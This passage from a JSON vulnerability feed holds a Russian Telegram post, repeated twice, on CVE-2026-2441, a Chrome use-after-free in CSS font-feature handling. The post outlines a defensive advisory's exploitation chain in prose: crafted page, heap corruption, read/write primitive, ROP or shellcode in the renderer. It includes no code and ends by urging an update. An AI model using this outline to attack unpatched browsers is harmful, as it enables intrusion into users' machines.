\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0432 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u0440\u0435\u043d\u0434\u0435\u0440-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 Chrome.\n\n\u0421\u043b\u0435\u0434\u0443\u0435\u0442 \u0443\u0447\u0438\u0442\u044b\u0432\u0430\u0442\u044c, \u0447\u0442\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b. \u0414\u043b\u044f \u043f\u043e\u043b\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043e\u0431\u044b\u0447\u043d\u043e \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (sandbox escape) \u043b\u0438\u0431\u043e \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0438\u0437 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0431\u0430\u0433\u043e\u0432.\n\n\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e \u0432 \u0441\u0440\u043e\u0447\u043d\u043e\u043c \u043f\u043e\u0440\u044f\u0434\u043a\u0435 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c Chrome \u0434\u043e 145.0.7632.75+ (Windows/macOS) \u0438\u043b\u0438 144.0.7559.75+ (Linux).\n\n#blue_team #CVE #Chrome #0day", "creation_timestamp": "2026-09-14T18:00:07.098433Z"}, {"uuid": "d119c357-2cea-47f7-aa4a-e3084ef8218b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "exploited", "source": "https://t.me/purp_sec/1415", "content": "\u2705 \u041f\u0435\u0440\u0432\u044b\u0439 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043d\u044b\u0439 0-day \u0432 Chrome \u0432 2026 \u0433\u043e\u0434\u0443\n\nCVE-2026-2441 \u2014 heap use-after-free \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 CSS Google Chrome. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u0438\u043d\u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u0435\u0439 \u0438\u0442\u0435\u0440\u0430\u0442\u043e\u0440\u0430 \u0432 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 CSSFontFeatureValuesMap \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430 @font-feature-values. \u0412 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 \u044d\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044e \u043a \u0443\u0436\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u043d\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438 (UAF), \u0447\u0442\u043e \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u0432\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f \u043a\u0443\u0447\u0438 \u0432 \u0440\u0435\u043d\u0434\u0435\u0440-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0436\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 \u043a\u0430\u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u0430\u044f in the wild. Google \u0434\u0435\u0442\u0430\u043b\u0438 \u0431\u0430\u0433\u0430 \u043f\u043e\u043a\u0430 \u043d\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u0435\u0442.\n\n\u041a\u0430\u043a \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f\n\n\ud83d\udd35\u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0441\u043e\u0437\u0434\u0430\u0435\u0442 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e HTML-\u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 \u0441 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c CSS, \u0442\u0440\u0438\u0433\u0433\u0435\u0440\u044f\u0449\u0438\u043c use-after-free \u0432 CSSFontFeatureValuesMap.\n\ud83d\udd35\u0414\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u0441\u044b\u043b\u043a\u0443 \u0434\u043e \u0446\u0435\u043b\u0438 \u043b\u044e\u0431\u044b\u043c \u0443\u0434\u043e\u0431\u043d\u044b\u043c \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u043c.\n\ud83d\udd35\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 Chrome.\n\ud83d\udd35\u0412 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u043f\u0430\u0440\u0441\u0438\u043d\u0433\u0430 CSS \u0432 \u0440\u0435\u043d\u0434\u0435\u0440-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 use-after-free, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f heap corruption, \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c primitive \u0442\u0438\u043f\u0430 arbitrary read/write \u0438 \u0434\u0430\u043b\u0435\u0435 \u043f\u043e\u0441\u0442\u0440\u043e\u0438\u0442\u044c ROP/JOP-\u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0438\u043b\u0438 \u0432\u043d\u0435\u0434\u0440\u0438\u0442\u044c shellcode \u0432 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u0445 renderer.\n\ud83d\udd35\u0412\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0432 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u0440\u0435\u043d\u0434\u0435\u0440-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 Chrome.\n\n\u0421\u043b\u0435\u0434\u0443\u0435\u0442 \u0443\u0447\u0438\u0442\u044b\u0432\u0430\u0442\u044c, \u0447\u0442\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b. \u0414\u043b\u044f \u043f\u043e\u043b\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043e\u0431\u044b\u0447\u043d\u043e \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (sandbox escape) \u043b\u0438\u0431\u043e \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0438\u0437 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0431\u0430\u0433\u043e\u0432.\n\n\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e \u0432 \u0441\u0440\u043e\u0447\u043d\u043e\u043c \u043f\u043e\u0440\u044f\u0434\u043a\u0435 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c Chrome \u0434\u043e 145.0.7632.75+ (Windows/macOS) \u0438\u043b\u0438 144.0.7559.75+ (Linux).\n\n#blue_team #CVE #Chrome #0day", "creation_timestamp": "2026-09-15T00:00:10.938095Z"}, {"uuid": "802dc4e4-163a-45ae-bd21-0743742bfb54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24332", "type": "published-proof-of-concept", "source": "Telegram/uk9yoRqcZiLOpAGjv24UEoeHuOZU_BlMWygh7B7a0pT6RpM", "content": "", "creation_timestamp": "2026-09-15T00:00:27.309192Z"}]}